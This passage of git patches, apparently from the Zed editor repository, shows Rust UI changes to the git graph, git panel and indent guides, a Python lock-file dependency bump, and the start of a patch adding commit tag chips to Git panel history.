     RedistributableColumnsState, ScrollableHandle, Table, TableInteractionState,
     TableRenderContext, TableResizeBehavior, Tooltip, WithScrollbar, bind_redistributable_columns,
     prelude::*, redistribute_hidden_fractions, redistribute_hidden_widths,
@@ -73,9 +73,8 @@ const RESIZE_HANDLE_WIDTH: f32 = 8.0;
 const COPIED_STATE_DURATION: Duration = Duration::from_secs(2);
 const COMMIT_TAG_LIST_WIDTH_IN_REMS: Rems = rems(10.);
 const CUSTOM_GIT_COMMANDS_DOCS_SLUG: &str = "tasks#custom-git-commands";
+const TREE_INDENT: f32 = 20.0;
 const TABLE_COLUMN_COUNT: usize = 4;
-// Extra vertical breathing room added to the UI line height when computing
-// the git graph's row height, so commit dots and lines have space around them.
 const ROW_VERTICAL_PADDING: Pixels = px(4.0);
 
 struct CopiedState {
@@ -278,8 +277,6 @@ impl ChangedFileEntry {
         workspace: WeakEntity<Workspace>,
         _cx: &App,
     ) -> AnyElement {
-        const TREE_INDENT: f32 = 12.0;
-
         let file_name = self.file_name.clone();
         let dir_path = self.dir_path.clone();
 
@@ -358,8 +355,6 @@ struct ChangedFileDirectoryEntry {
 
 impl ChangedFileDirectoryEntry {
     fn render(&self, ix: usize, git_graph: WeakEntity<GitGraph>, cx: &App) -> AnyElement {
-        const TREE_INDENT: f32 = 12.0;
-
         let path = self.path.clone();
         let expanded = self.expanded;
         let folder_icon = FileIcons::get_folder_icon(expanded, path.as_std_path(), cx)
@@ -381,22 +376,6 @@ impl ChangedFileDirectoryEntry {
             .spacing(ListItemSpacing::Sparse)
             .indent_level(self.depth)
             .indent_step_size(px(TREE_INDENT))
-            .toggle(Some(expanded))
-            .always_show_disclosure_icon(true)
-            .on_toggle({
-                let path = path.clone();
-                let git_graph = git_graph.clone();
-                move |_, _, cx| {
-                    git_graph
-                        .update(cx, |git_graph, cx| {
-                            git_graph
-                                .changed_files_expanded_dirs
-                                .insert(path.clone(), !expanded);
-                            cx.notify();
-                        })
-                        .ok();
-                }
-            })
             .start_slot(folder_icon)
             .child(
                 Label::new(self.name.clone())
@@ -3018,7 +2997,7 @@ impl GitGraph {
             };
 
             CommitAvatar::new(&full_sha, author_email_for_avatar, remote.as_ref())
-                .size(px(40.))
+                .size(px(32.))
                 .render(window, cx)
         };
 
@@ -3056,6 +3035,25 @@ impl GitGraph {
             Rc::default()
         };
 
+        let is_tree_view = self.changed_files_view_mode.is_tree();
+        let view_toggle = IconButton::new("toggle-changed-files-view", IconName::ListTree)
+            .icon_size(IconSize::Small)
+            .toggle_state(self.changed_files_view_mode.is_tree())
+            .tooltip({
+                let tooltip = if is_tree_view {
+                    "Show Flat View"
+                } else {
+                    "Show Tree View"
+                };
+                move |_, cx| Tooltip::for_action(tooltip, &ToggleChangedFilesView, cx)
+            })
+            .on_click(cx.listener(|this, _, _window, cx| {
+                this.changed_files_view_mode = this.changed_files_view_mode.toggled();
+                this.changed_files_scroll_handle
+                    .scroll_to_item(0, ScrollStrategy::Top);
+                cx.notify();
+            }));
+
         v_flex()
             .min_w(px(300.))
             .h_full()
@@ -3090,17 +3088,12 @@ impl GitGraph {
                             .py_1()
                             .w_full()
                             .items_center()
-                            .gap_1()
                             .child(avatar)
+                            .child(Label::new(author_name).mt_1p5())
                             .child(
-                                v_flex()
-                                    .items_center()
-                                    .child(Label::new(author_name))
-                                    .child(
-                                        Label::new(date_string)
-                                            .color(Color::Muted)
-                                            .size(LabelSize::Small),
-                                    ),
+                                Label::new(date_string)
+                                    .color(Color::Muted)
+                                    .size(LabelSize::Small),
                             ),
                     )
                     .children((!ref_names.is_empty()).then(|| {
@@ -3258,69 +3251,40 @@ impl GitGraph {
             .child(
                 v_flex()
                     .min_w_0()
-                    .p_2()
                     .flex_1()
-                    .gap_1()
+                    .overflow_hidden()
                     .child(
                         h_flex()
+                            .p_2()
+                            .pr_3()
+                            .pb_1()
                             .gap_1()
                             .w_full()
                             .justify_between()
-                            .child(
-                                Label::new(format!(
-                                    "{} Changed {}",
-                                    changed_files_count,
-                                    if changed_files_count == 1 {
-                                        "File"
-                                    } else {
-                                        "Files"
-                                    }
-                                ))
-                                .size(LabelSize::Small)
-                                .color(Color::Muted),
-                            )
                             .child(
                                 h_flex()
                                     .gap_1()
-                                    .child(DiffStat::new(
-                                        "commit-diff-stat",
-                                        total_lines_added,
-                                        total_lines_removed,
-                                    ))
                                     .child(
-                                        IconButton::new(
-                                            "toggle-changed-files-view",
-                                            IconName::ListTree,
-                                        )
-                                        .shape(ui::IconButtonShape::Square)
-                                        .icon_size(IconSize::Small)
-                                        .toggle_state(self.changed_files_view_mode.is_tree())
-                                        .tooltip({
-                                            let tooltip = if self.changed_files_view_mode.is_tree()
-                                            {
-                                                "Show Flat View"
+                                        Label::new(format!(
+                                            "{} Changed {}",
+                                            changed_files_count,
+                                            if changed_files_count == 1 {
+                                                "File"
                                             } else {
-                                                "Show Tree View"
-                                            };
-                                            move |_, cx| {
-                                                Tooltip::for_action(
-                                                    tooltip,
-                                                    &ToggleChangedFilesView,
-                                                    cx,
-                                                )
+                                                "Files"
                                             }
-                                        })
-                                        .on_click(
-                                            cx.listener(|this, _, _window, cx| {
-                                                this.changed_files_view_mode =
-                                                    this.changed_files_view_mode.toggled();
-                                                this.changed_files_scroll_handle
-                                                    .scroll_to_item(0, ScrollStrategy::Top);
-                                                cx.notify();
-                                            }),
-                                        ),
-                                    ),
-                            ),
+                                        ))
+                                        .size(LabelSize::Small)
+                                        .color(Color::Muted),
+                                    )
+                                    .child(Divider::vertical())
+                                    .child(view_toggle),
+                            )
+                            .child(DiffStat::new(
+                                "commit-diff-stat",
+                                total_lines_added,
+                                total_lines_removed,
+                            )),
                     )
                     .child(
                         div()
@@ -3329,7 +3293,7 @@ impl GitGraph {
                             .min_h_0()
                             .child({
                                 let flat_entries = changed_file_entries;
-                                let is_tree_view = self.changed_files_view_mode.is_tree();
+
                                 let entry_count = if is_tree_view {
                                     tree_entries.len()
                                 } else {
@@ -3339,6 +3303,8 @@ impl GitGraph {
                                 let repository = repository.downgrade();
                                 let workspace = self.workspace.clone();
                                 let git_graph = cx.weak_entity();
+                                let indent_tree_entries = tree_entries.clone();
+
                                 uniform_list(
                                     "changed-files-list",
                                     entry_count,
@@ -3381,8 +3347,34 @@ impl GitGraph {
                                             .collect()
                                     },
                                 )
+                                .when(is_tree_view, |list| {
+                                    list.with_decoration(
+                                        ui::indent_guides(
+                                            px(TREE_INDENT),
+                                            IndentGuideColors::panel(cx),
+                                        )
+                                        .with_left_offset(
+                                            ui::LIST_ITEM_INDENT_GUIDE_LEFT_OFFSET - px(2.),
+                                        )
+                                        .with_compute_indents_fn(
+                                            cx.entity(),
+                                            move |_, range, _window, _cx| {
+                                                range
+                                                    .map(|ix| match indent_tree_entries.get(ix) {
+                                                        Some(ChangedFileTreeEntry::Directory(
+                                                            entry,
+                                                        )) => entry.depth,
+                                                        Some(ChangedFileTreeEntry::File(entry)) => {
+                                                            entry.depth
+                                                        }
+                                                        None => 0,
+                                                    })
+                                                    .collect()
+                                            },
+                                        ),
+                                    )
+                                })
                                 .size_full()
-                                .ml_neg_1()
                                 .track_scroll(&self.changed_files_scroll_handle)
                             })
                             .vertical_scrollbar_for(&self.changed_files_scroll_handle, window, cx),
@@ -3393,6 +3385,11 @@ impl GitGraph {
                 h_flex().p_1p5().w_full().child(
                     Button::new("view-commit", "View Commit")
                         .full_width()
+                        .start_icon(
+                            Icon::new(IconName::GitCommit)
+                                .size(IconSize::Small)
+                                .color(Color::Muted),
+                        )
                         .style(ButtonStyle::OutlinedGhost)
                         .on_click(cx.listener(|this, _, window, cx| {
                             this.open_selected_commit_view(window, cx);
@@ -3912,22 +3909,26 @@ impl GitGraph {
             // which causes problems with text reflow when using flexbox.
             // grid, on the other hand, doesn't appear to give taffy the same
             // problems.
-            .grid()
+            .w_full()
+            .max_h(line_height * 12.)
             .py_2()
             .pl_2()
-            .w_full()
-            .gap_1()
+            .grid()
             .grid_cols(1)
-            // Value of 12 taken from ./commit_view.rs:725
-            .max_h(line_height * 12.)
+            .gap_1()
             .child(
                 div()
-                    .id("commit-message")
-                    .text_sm()
+                    .relative()
                     .size_full()
-                    .overflow_y_scroll()
-                    .track_scroll(scroll_handle)
-                    .child(MarkdownElement::new(message.clone(), message_style))
+                    .child(
+                        div()
+                            .id("commit-message")
+                            .text_sm()
+                            .size_full()
+                            .overflow_y_scroll()
+                            .track_scroll(scroll_handle)
+                            .child(MarkdownElement::new(message.clone(), message_style)),
+                    )
                     .vertical_scrollbar_for(scroll_handle, window, cx),
             )
             .into_any_element()
@@ -3961,11 +3962,10 @@ impl Render for GitGraph {
             let label = Label::new(message)
                 .color(Color::Muted)
                 .size(LabelSize::Large);
-            div()
+
+            h_flex()
                 .size_full()
-                .h_flex()
                 .gap_1()
-                .items_center()
                 .justify_center()
                 .child(label)
                 .when(is_loading && error.is_none(), |this| {
@@ -4013,7 +4013,7 @@ impl Render for GitGraph {
             h_flex()
                 .size_full()
                 .child(
-                    div()
+                    v_flex()
                         .flex_1()
                         .min_w_0()
                         .size_full()
diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 90463f1b9e1d29..b1667adff5972e 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -39,11 +39,10 @@ use git::{
     ViewFile, parse_git_remote_url,
 };
 use gpui::{
-    AbsoluteLength, Action, Anchor, AnyElement, AsyncApp, AsyncWindowContext, Bounds, ClickEvent,
+    AbsoluteLength, Action, Anchor, AnyElement, AsyncApp, AsyncWindowContext, ClickEvent,
     DismissEvent, Empty, Entity, EventEmitter, FocusHandle, Focusable, KeyContext, MouseButton,
     MouseDownEvent, Pixels, Point, PromptLevel, ScrollStrategy, Subscription, Task, TaskExt,
-    TextStyle, UniformListScrollHandle, WeakEntity, actions, anchored, deferred, point, size,
-    uniform_list,
+    TextStyle, UniformListScrollHandle, WeakEntity, actions, anchored, deferred, uniform_list,
 };
 use itertools::Itertools;
 use language::{Buffer, BufferEvent, File};
@@ -82,9 +81,8 @@ use theme_settings::ThemeSettings;
 use time::OffsetDateTime;
 use ui::{
     ButtonLike, Checkbox, ContextMenu, ContextMenuEntry, Divider, ElevationIndex,
-    IndentGuideColors, KeyBinding, PopoverMenu, PopoverMenuHandle, ProjectEmptyState,
-    RenderedIndentGuide, ScrollAxes, Scrollbars, SplitButton, Tab, TintColor, Tooltip,
-    WithScrollbar, prelude::*,
+    IndentGuideColors, KeyBinding, PopoverMenu, PopoverMenuHandle, ProjectEmptyState, ScrollAxes,
+    Scrollbars, SplitButton, Tab, TintColor, Tooltip, WithScrollbar, prelude::*,
 };
 use util::paths::PathStyle;
 use util::{ResultExt, TryFutureExt, markdown::MarkdownInlineCode, maybe, rel_path::RelPath};
@@ -100,6 +98,8 @@ const GIT_PANEL_KEY: &str = "GitPanel";
 const UPDATE_DEBOUNCE: Duration = Duration::from_millis(50);
 // TODO: We should revise this part. It seems the indentation width is not aligned with the one in project panel
 const TREE_INDENT: f32 = 16.0;
+// Horizontal offset that aligns the tree indent guides with the row icon column.
+const INDENT_GUIDE_LEFT_OFFSET: gpui::Pixels = gpui::px(19.);
 
 actions!(
     git_panel,
@@ -6381,43 +6381,15 @@ impl GitPanel {
                             }),
                         )
                         .when(is_tree_view, |list| {
-                            let indent_size = px(TREE_INDENT);
                             list.with_decoration(
-                                ui::indent_guides(indent_size, IndentGuideColors::panel(cx))
+                                ui::indent_guides(px(TREE_INDENT), IndentGuideColors::panel(cx))
+                                    .with_left_offset(INDENT_GUIDE_LEFT_OFFSET)
                                     .with_compute_indents_fn(
                                         cx.entity(),
                                         |this, range, _window, _cx| {
                                             this.compute_visible_depths(range)
                                         },
-                                    )
-                                    .with_render_fn(cx.entity(), |_, params, _, _| {
-                                        // Magic number to align the tree item is 3 here
-                                        // because we're using 12px as the left-side padding
-                                        // and 3 makes the alignment work with the bounding box of the icon
-                                        let left_offset = px(TREE_INDENT + 3_f32);
-                                        let indent_size = params.indent_size;
-                                        let item_height = params.item_height;
-
-                                        params
-                                            .indent_guides
-                                            .into_iter()
-                                            .map(|layout| {
-                                                let bounds = Bounds::new(
-                                                    point(
-                                                        layout.offset.x * indent_size + left_offset,
-                                                        layout.offset.y * item_height,
-                                                    ),
-                                                    size(px(1.), layout.length * item_height),
-                                                );
-                                                RenderedIndentGuide {
-                                                    bounds,
-                                                    layout,
-                                                    is_active: false,
-                                                    hitbox: None,
-                                                }
-                                            })
-                                            .collect()
-                                    }),
+                                    ),
                             )
                         })
                         .group("entries")
diff --git a/crates/git_ui/src/project_diff.rs b/crates/git_ui/src/project_diff.rs
index d674be55766d94..445eaf1e7040cd 100644
--- a/crates/git_ui/src/project_diff.rs
+++ b/crates/git_ui/src/project_diff.rs
@@ -799,6 +799,8 @@ impl Render for ProjectDiffToolbar {
         let (additions, deletions) = project_diff.read(cx).calculate_changed_lines(cx);
         let is_multibuffer_empty = project_diff.read(cx).multibuffer(cx).read(cx).is_empty();
 
+        let stage_all_button_width = rems(5.);
+
         h_flex()
             .my_neg_1()
             .py_1()
@@ -894,7 +896,7 @@ impl Render for ProjectDiffToolbar {
                 |this| {
                     this.child(
                         Button::new("unstage-all", "Unstage All")
-                            .width(rems_from_px(80.))
+                            .width(stage_all_button_width)
                             .tooltip(Tooltip::for_action_title_in(
                                 "Unstage All Changes",
                                 &UnstageAll,
@@ -911,7 +913,7 @@ impl Render for ProjectDiffToolbar {
                 |this| {
                     this.child(
                         Button::new("stage-all", "Stage All")
-                            .width(rems_from_px(80.))
+                            .width(stage_all_button_width)
                             .disabled(!button_states.stage_all)
                             .tooltip(Tooltip::for_action_title_in(
                                 "Stage All Changes",
diff --git a/crates/outline_panel/src/outline_panel.rs b/crates/outline_panel/src/outline_panel.rs
index a8786aaa40c812..7c3845eb98f67b 100644
--- a/crates/outline_panel/src/outline_panel.rs
+++ b/crates/outline_panel/src/outline_panel.rs
@@ -4752,7 +4752,7 @@ impl OutlinePanel {
                                 }
                             })
                             .with_render_fn(cx.entity(), move |outline_panel, params, _, _| {
-                                const LEFT_OFFSET: Pixels = px(14.);
+                                const LEFT_OFFSET: Pixels = ui::LIST_ITEM_INDENT_GUIDE_LEFT_OFFSET;
 
                                 let indent_size = params.indent_size;
                                 let item_height = params.item_height;
diff --git a/crates/project_panel/src/project_panel.rs b/crates/project_panel/src/project_panel.rs
index 4dfa07b6b2c482..8b830513b2c68c 100644
--- a/crates/project_panel/src/project_panel.rs
+++ b/crates/project_panel/src/project_panel.rs
@@ -7083,7 +7083,8 @@ impl Render for ProjectPanel {
                                     .with_render_fn(
                                         cx.entity(),
                                         move |this, params, _, cx| {
-                                            const LEFT_OFFSET: Pixels = px(14.);
+                                            const LEFT_OFFSET: Pixels =
+                                                ui::LIST_ITEM_INDENT_GUIDE_LEFT_OFFSET;
                                             const PADDING_Y: Pixels = px(4.);
                                             const HITBOX_OVERDRAW: Pixels = px(3.);
 
@@ -7179,7 +7180,8 @@ impl Render for ProjectPanel {
                                         .with_render_fn(
                                             cx.entity(),
                                             move |_, params, _, _| {
-                                                const LEFT_OFFSET: Pixels = px(14.);
+                                                const LEFT_OFFSET: Pixels =
+                                                    ui::LIST_ITEM_INDENT_GUIDE_LEFT_OFFSET;
 
                                                 let indent_size = params.indent_size;
                                                 let item_height = params.item_height;
diff --git a/crates/ui/src/components/data_table.rs b/crates/ui/src/components/data_table.rs
index 805c93708ac871..8d785fec8a0d1c 100644
--- a/crates/ui/src/components/data_table.rs
+++ b/crates/ui/src/components/data_table.rs
@@ -750,13 +750,11 @@ pub fn render_table_header(
     let shared_element_id: SharedString = format!("table-{}", element_id).into();
     let pinned_cols = table_context.pinned_cols;
 
-    let outer = div()
-        .flex()
-        .flex_row()
-        .items_center()
+    let outer = h_flex()
+        .py_1()
         .w_full()
         .border_b_1()
-        .border_color(cx.theme().colors().border);
+        .border_color(cx.theme().colors().border_variant);
 
     let use_ui_font = table_context.use_ui_font;
     let resize_info_ref = resize_info.as_ref();
diff --git a/crates/ui/src/components/indent_guides.rs b/crates/ui/src/components/indent_guides.rs
index 9e78b0d4bf68b8..f83dda592f6145 100644
--- a/crates/ui/src/components/indent_guides.rs
+++ b/crates/ui/src/components/indent_guides.rs
@@ -28,9 +28,14 @@ impl IndentGuideColors {
     }
 }
 
+/// Horizontal offset that lines an indent guide up with the icon column of a
+/// standard [`ListItem`](crate::ListItem)-based row.
+pub const LIST_ITEM_INDENT_GUIDE_LEFT_OFFSET: Pixels = px(15.);
+
 pub struct IndentGuides {
     colors: IndentGuideColors,
     indent_size: Pixels,
+    left_offset: Pixels,
     compute_indents_fn:
         Option<Box<dyn Fn(Range<usize>, &mut Window, &mut App) -> SmallVec<[usize; 64]>>>,
     render_fn: Option<
@@ -49,6 +54,7 @@ pub fn indent_guides(indent_size: Pixels, colors: IndentGuideColors) -> IndentGu
     IndentGuides {
         colors,
         indent_size,
+        left_offset: px(0.),
         compute_indents_fn: None,
         render_fn: None,
         on_click: None,
@@ -56,6 +62,15 @@ pub fn indent_guides(indent_size: Pixels, colors: IndentGuideColors) -> IndentGu
 }
 
 impl IndentGuides {
+    /// Sets a horizontal offset applied to every guide, used to line the guides
+    /// up with the icon column of the list's rows. Ignored when a custom render
+    /// function is set via [`Self::with_render_fn`], which is responsible for its
+    /// own positioning.
+    pub fn with_left_offset(mut self, left_offset: Pixels) -> Self {
+        self.left_offset = left_offset;
+        self
+    }
+
     /// Sets the callback that will be called when the user clicks on an indent guide.
     pub fn on_click(
         mut self,
@@ -124,7 +139,7 @@ impl IndentGuides {
                 .map(|layout| RenderedIndentGuide {
                     bounds: Bounds::new(
                         point(
-                            layout.offset.x * self.indent_size,
+                            layout.offset.x * self.indent_size + self.left_offset,
                             layout.offset.y * item_height,
                         ),
                         size(px(1.), layout.length * item_height),

From fc827a218e979062b079efbd448947989fb86ab8 Mon Sep 17 00:00:00 2001
From: Ben Brandt <benjamin.j.brandt@gmail.com>
Date: Tue, 7 Jul 2026 14:49:19 +0200
Subject: [PATCH 312/772] Update issue ranking script dependencies (#60345)

Release Notes:

- N/A
---
 script/update_top_ranking_issues/uv.lock | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/script/update_top_ranking_issues/uv.lock b/script/update_top_ranking_issues/uv.lock
index f1b3ec285159b1..e4fd17159ea7e7 100644
--- a/script/update_top_ranking_issues/uv.lock
+++ b/script/update_top_ranking_issues/uv.lock
@@ -58,11 +58,11 @@ wheels = [
 
 [[package]]
 name = "idna"
-version = "3.10"
+version = "3.18"
 source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/f1/70/7703c29685631f5a7590aa73f1f1d3fa9a380e654b86af429e0934a32f7d/idna-3.10.tar.gz", hash = "sha256:12f65c9b470abda6dc35cf8e63cc574b1c52b11df2c86030af0ac09b01b13ea9", size = 190490, upload-time = "2024-09-15T18:07:39.745Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/cd/63/9496c57188a2ee585e0f1db071d75089a11e98aa86eb99d9d7618fc1edce/idna-3.18.tar.gz", hash = "sha256:ffb385a7e039654cef1ab9ef32c6fafe283c0c0467bba1d9029738ce4a14a848", size = 196711, upload-time = "2026-06-02T14:34:07.794Z" }
 wheels = [
-    { url = "https://files.pythonhosted.org/packages/76/c6/c88e154df9c4e1a2a66ccf0005a88dfb2650c1dffb6f5ce603dfbd452ce3/idna-3.10-py3-none-any.whl", hash = "sha256:946d195a0d259cbba61165e88e65941f16e9b36ea6ddb97f00452bae8b1287d3", size = 70442, upload-time = "2024-09-15T18:07:37.964Z" },
+    { url = "https://files.pythonhosted.org/packages/1e/5e/d4e9f1a599fb8e573b7b87160658329fbf28d19eac2718f51fc3def3aa5a/idna-3.18-py3-none-any.whl", hash = "sha256:7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2", size = 65455, upload-time = "2026-06-02T14:34:06.319Z" },
 ]
 
 [[package]]
@@ -116,11 +116,11 @@ wheels = [
 
 [[package]]
 name = "pygments"
-version = "2.18.0"
+version = "2.20.0"
 source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/8e/62/8336eff65bcbc8e4cb5d05b55faf041285951b6e80f33e2bff2024788f31/pygments-2.18.0.tar.gz", hash = "sha256:786ff802f32e91311bff3889f6e9a86e81505fe99f2735bb6d60ae0c5004f199", size = 4891905, upload-time = "2024-05-04T13:42:02.013Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/c3/b2/bc9c9196916376152d655522fdcebac55e66de6603a76a02bca1b6414f6c/pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f", size = 4955991, upload-time = "2026-03-29T13:29:33.898Z" }
 wheels = [
-    { url = "https://files.pythonhosted.org/packages/f7/3f/01c8b82017c199075f8f788d0d906b9ffbbc5a47dc9918a945e13d5a2bda/pygments-2.18.0-py3-none-any.whl", hash = "sha256:b8e6aca0523f3ab76fee51799c488e38782ac06eafcf95e7ba832985c8e7b13a", size = 1205513, upload-time = "2024-05-04T13:41:57.345Z" },
+    { url = "https://files.pythonhosted.org/packages/f4/7e/a72dd26f3b0f4f2bf1dd8923c85f7ceb43172af56d63c7383eb62b332364/pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176", size = 1231151, upload-time = "2026-03-29T13:29:30.038Z" },
 ]
 
 [[package]]

From d564495dde0c344fa54e2432b91680fc604e495c Mon Sep 17 00:00:00 2001
From: Ruslan Semagin <pixel.365.24@gmail.com>
Date: Tue, 7 Jul 2026 16:50:03 +0300
Subject: [PATCH 313/772] git_ui: Show tags in Git panel history (#60534)

# Objective

- Make Git Panel History show commit tags so release/version markers are
visible without opening the full Git graph or commit details.

  ## Solution

- Store commit history entries with both the commit SHA and tag names
from existing git graph data.
  - Render tag names as muted chips next to the commit subject.
- Limit visible tags to 3 per commit and show `+N` for additional tags.

  ## Testing

  - Ran `cargo check -p git_ui`.
  - Manually verified on Linux with `script/zed-local --stateful .`.
  - Confirmed tags appear in Git Panel History.

  ## Self-Review Checklist:

  - [x] I've reviewed my own diff for quality, security, and reliability
  - [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and [icon]

(https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
  - [ ] Tests cover the new/changed behavior
  - [x] Performance impact has been considered and is acceptable

  ## Showcase

Git Panel History now shows commit tags inline as muted chips next to
the commit subject.

  ---

  Release Notes:

  - Added tag labels to the Git Panel commit history.

---------

Co-authored-by: Danilo Leal <daniloleal09@gmail.com>
---
 crates/git_ui/src/git_panel.rs | 124 ++++++++++++++++++++++++++-------
 1 file changed, 98 insertions(+), 26 deletions(-)

diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index b1667adff5972e..590efaca2b74ff 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -27,8 +27,9 @@ use git::Oid;
 use git::commit::ParsedCommitMessage;
 use git::repository::{
     Branch, CommitData, CommitDetails, CommitOptions, CommitSummary, DiffType, FetchOptions,
-    GitCommitTemplate, GitCommitter, LogOrder, LogSource, PushOptions, Remote, RemoteCommandOutput,
-    ResetMode, Upstream, UpstreamTracking, UpstreamTrackingStatus, get_git_committer,
+    GitCommitTemplate, GitCommitter, InitialGraphCommitData, LogOrder, LogSource, PushOptions,
+    Remote, RemoteCommandOutput, ResetMode, Upstream, UpstreamTracking, UpstreamTrackingStatus,
+    get_git_committer,
 };
 use git::stash::GitStash;
 use git::status::{DiffStat, StageStatus};
@@ -80,7 +81,7 @@ use strum::{IntoEnumIterator, VariantNames};
 use theme_settings::ThemeSettings;
 use time::OffsetDateTime;
 use ui::{
-    ButtonLike, Checkbox, ContextMenu, ContextMenuEntry, Divider, ElevationIndex,
+    ButtonLike, Checkbox, Chip, ContextMenu, ContextMenuEntry, Divider, ElevationIndex,
     IndentGuideColors, KeyBinding, PopoverMenu, PopoverMenuHandle, ProjectEmptyState, ScrollAxes,
     Scrollbars, SplitButton, Tab, TintColor, Tooltip, WithScrollbar, prelude::*,
 };
@@ -98,6 +99,7 @@ const GIT_PANEL_KEY: &str = "GitPanel";
 const UPDATE_DEBOUNCE: Duration = Duration::from_millis(50);
 // TODO: We should revise this part. It seems the indentation width is not aligned with the one in project panel
 const TREE_INDENT: f32 = 16.0;
+const MAX_HISTORY_TAG_CHIPS: usize = 3;
 // Horizontal offset that aligns the tree indent guides with the row icon column.
 const INDENT_GUIDE_LEFT_OFFSET: gpui::Pixels = gpui::px(19.);
 
@@ -804,7 +806,7 @@ pub struct GitPanel {
     stash_entries: GitStash,
     active_tab: GitPanelTab,
     commit_history_scroll_handle: UniformListScrollHandle,
-    commit_history_shas: Option<Vec<Oid>>,
+    commit_history_entries: Option<Rc<[CommitHistoryEntry]>>,
     focused_history_entry: Option<usize>,
     history_keyboard_nav: bool,
     _commit_message_buffer_subscription: Option<Subscription>,
@@ -822,6 +824,25 @@ struct BulkStaging {
     anchor: RepoPath,
 }
 
+#[derive(Clone)]
+struct CommitHistoryEntry {
+    sha: Oid,
+    tag_names: Vec<SharedString>,
+}
+
+impl From<&Arc<InitialGraphCommitData>> for CommitHistoryEntry {
+    fn from(commit: &Arc<InitialGraphCommitData>) -> Self {
+        Self {
+            sha: commit.sha,
+            tag_names: commit
+                .tag_names()
+                .into_iter()
+                .map(|tag_name| SharedString::from(tag_name.to_string()))
+                .collect(),
+        }
+    }
+}
+
 const MAX_PANEL_EDITOR_LINES: usize = 6;
 
 pub(crate) fn commit_message_editor(
@@ -1087,7 +1108,7 @@ impl GitPanel {
                 stash_entries: Default::default(),
                 active_tab: GitPanelTab::Changes,
                 commit_history_scroll_handle: UniformListScrollHandle::new(),
-                commit_history_shas: None,
+                commit_history_entries: None,
                 focused_history_entry: None,
                 history_keyboard_nav: false,
                 _commit_message_buffer_subscription: None,
@@ -5678,10 +5699,10 @@ impl GitPanel {
         v_flex().flex_1().size_full().overflow_hidden().map(|this| {
             let has_repo = self.active_repository.is_some();
             let has_commits = self
-                .commit_history_shas
+                .commit_history_entries
                 .as_ref()
-                .map_or(false, |shas| !shas.is_empty());
-            let is_loading = self.commit_history_shas.is_none() && has_repo;
+                .map_or(false, |entries| !entries.is_empty());
+            let is_loading = self.commit_history_entries.is_none() && has_repo;
             if is_loading {
                 this.child(
                     h_flex()
@@ -5711,7 +5732,10 @@ impl GitPanel {
     }
 
     fn select_next_history_entry(&mut self, cx: &mut Context<Self>) {
-        let count = self.commit_history_shas.as_ref().map_or(0, Vec::len);
+        let count = self
+            .commit_history_entries
+            .as_ref()
+            .map_or(0, |entries| entries.len());
         if count == 0 {
             return;
         }
@@ -5727,7 +5751,10 @@ impl GitPanel {
     }
 
     fn select_previous_history_entry(&mut self, cx: &mut Context<Self>) {
-        let count = self.commit_history_shas.as_ref().map_or(0, Vec::len);
+        let count = self
+            .commit_history_entries
+            .as_ref()
+            .map_or(0, |entries| entries.len());
         if count == 0 {
             return;
         }
@@ -5746,14 +5773,18 @@ impl GitPanel {
         let Some(index) = self.focused_history_entry else {
             return;
         };
-        let Some(sha) = self.commit_history_shas.as_ref().and_then(|s| s.get(index)) else {
+        let Some(entry) = self
+            .commit_history_entries
+            .as_ref()
+            .and_then(|entries| entries.get(index))
+        else {
             return;
         };
         let Some(active_repository) = self.active_repository.as_ref() else {
             return;
         };
         CommitView::open(
-            sha.to_string(),
+            entry.sha.to_string(),
             active_repository.downgrade(),
             self.workspace.clone(),
             None,
@@ -5794,7 +5825,7 @@ impl GitPanel {
             }
             GitPanelTab::Changes => {
                 self.focus_handle.focus(window, cx);
-                self.commit_history_shas.take();
+                self.commit_history_entries.take();
                 self.focused_history_entry = None;
                 self._repo_subscriptions.clear();
             }
@@ -5833,7 +5864,7 @@ impl GitPanel {
                 |this, _repo, event, cx| {
                     if let RepositoryEvent::GraphEvent(_, _) = event {
                         if this.active_tab == GitPanelTab::History {
-                            this.fetch_commit_history_shas(cx);
+                            this.fetch_commit_history_entries(cx);
                         }
                     }
                 },
@@ -5844,10 +5875,10 @@ impl GitPanel {
                 }));
         }
 
-        self.fetch_commit_history_shas(cx);
+        self.fetch_commit_history_entries(cx);
     }
 
-    fn fetch_commit_history_shas(&mut self, cx: &mut Context<Self>) {
+    fn fetch_commit_history_entries(&mut self, cx: &mut Context<Self>) {
         let Some(active_repository) = self.active_repository.as_ref() else {
             return;
         };
@@ -5860,9 +5891,13 @@ impl GitPanel {
         let log_source = LogSource::Branch(branch_name.into());
         let log_order = LogOrder::DateOrder;
 
-        self.commit_history_shas = Some(active_repository.update(cx, |repository, cx| {
+        self.commit_history_entries = Some(active_repository.update(cx, |repository, cx| {
             let response = repository.graph_data(log_source, log_order, 0..usize::MAX, cx);
-            response.commits.iter().map(|commit| commit.sha).collect()
+            response
+                .commits
+                .iter()
+                .map(CommitHistoryEntry::from)
+                .collect()
         }));
     }
 
@@ -5883,11 +5918,11 @@ impl GitPanel {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Option<impl IntoElement> {
-        let shas = self.commit_history_shas.clone()?;
+        let entries = self.commit_history_entries.clone()?;
         let active_repository = self.active_repository.as_ref()?;
         let workspace = self.workspace.clone();
         let repo_weak = active_repository.downgrade();
-        let item_count = shas.len();
+        let item_count = entries.len();
         let commit_history_scroll_handle = self.commit_history_scroll_handle.clone();
